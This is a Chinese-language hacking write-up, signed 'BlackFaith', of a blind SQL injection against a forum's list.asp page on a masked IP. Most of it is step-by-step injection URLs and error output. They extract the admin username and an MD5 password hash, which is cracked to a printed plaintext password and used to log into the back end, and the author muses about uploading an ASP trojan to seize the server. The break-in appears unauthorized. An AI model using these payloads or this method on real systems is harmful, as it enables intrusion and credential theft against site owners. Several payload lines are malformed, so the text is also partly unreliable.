接着,看看是否存在ADMIN表,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select * from admin)
返回的是一个出错的页面,提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'
[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。
/bbs/list.asp,行145
这和我以前玩过的不一样,以前玩的都是正常返回。我随手在表admin后加了个S,
提交如下: http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select * from admins)
显示“该页无法显示”
我又试着提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select * from admindfgfdg)
显示"该页无法显示 “
通过这点,我判断,第一次我提交的应该是成功的,就是说,应该存在ADMIN表。
接着,判断管理员ADMIN表ID,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select id from admin where id>1)
显示"该页无法显示 “
看这个返回结果,显然是不正常的返回,而且ID的值我是从最小的1判断的,肯定那里出错了,具体我也说不清楚,我菜~
接着,我试了下提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select l_id from admin where l_id>1),也就是把ID改成了l_id,这是我以前没玩过的。
返回的是,出错。
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'
[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。
/bbs/list.asp,行145
这和判断是否存在ADMIN表时返回的是一样的。我窃喜了一下,接着试着提交:
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select ls_id from admin where ls_id>1)
显示“该页无法显示"
因此,我断定ID应该用l_id,可能这对高手来说早就知道了,但这对菜鸟我来说,从没玩过,哈哈,看来今天就算拿不到密码也是有收获的,因为又多了点SQL注入的经练。
之后就是很顺利的,提交:http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select l_id from admin where l_id>5)
返回
错误提示:
您是否阅读了帮助文件,您没有权限继续下一步操作,通常是以下原因:
很抱歉,无此论坛!
看来l_id的值小与或等于,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select l_id from admin where l_id=4)
返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'
[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。
/bbs/list.asp,行145
因此判断l_id的值为4.
接下来猜ADMIN表里的用户名长度,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(username)>1)
依然从最小的1开始判断,返回:
错误提示:
您是否阅读了帮助文件,您没有权限继续下一步操作,通常是以下原因:
很抱歉,无此论坛!
说明没有username,试了下
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 4=(select min(l_id) from admin where len(admin)>1)
根据结果得知存在admin,接着提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(admin)=5)
返回的信息说明admin长度为5。
接着猜用户名,根据刚才看到的CPB论坛默认管理员帐号admin,一次提交:
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(admin,5)='admin')
呵呵,成功。减少了不少麻烦。
接下来猜密码长度,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)>1)
返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'
[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。
/bbs/list.asp,行145
哈哈,看来有password,接下来猜长度,提交
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)>8
返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'
[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。
/bbs/list.asp,行145
说明密码大于8。
然后提交:
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)>10
返回和上面一样,这时,根据经练,有种不祥的预感,密码用MD5加密了的!MD5加密算法不可逆,目前只能暴力破解.
接着提交:
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)=16
返回和上面一样,晕呀~~~~~~~~~~~~~果然是MD5加密过的了。
不管那么多了,先猜出来吧,说不定也可以象DVBBS6。0那样可以通过COOK欺骗进入后台管理。
提交:http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,1)='a')
错误。
依次猜:
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,1)='b')
错误
当试到http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,1)='e'),
正确,后面猜第2位密码
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,2='6')
第3位:
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,2='f')
花了一点时间,才出MD5加密的密码为:e6f448a30c41a4ea
抱着试下的心理去网上DOWN了个MD5暴力破解工具,先猜数字,长度选5-6,偶晕~~~~~,1分钟不到,猜出来,密码225588,我都不相信,试了下登陆,居然成功。
哈哈,今天运气真好,要是现在福彩没关门,我一定去买~~~~~~~~~~
在后台转了一下,发现可以设置上传文件类型,偶晕~
如果上传个ASP木马,然后。。。。。。。。嘿嘿~~~~~
有可能搞定整个服务器,偶晕~
好了,不要太过分。到此为止。
看了管理员资料,找到QQ,看了不在线,明天再通知他们补上吧。
By BlackFaith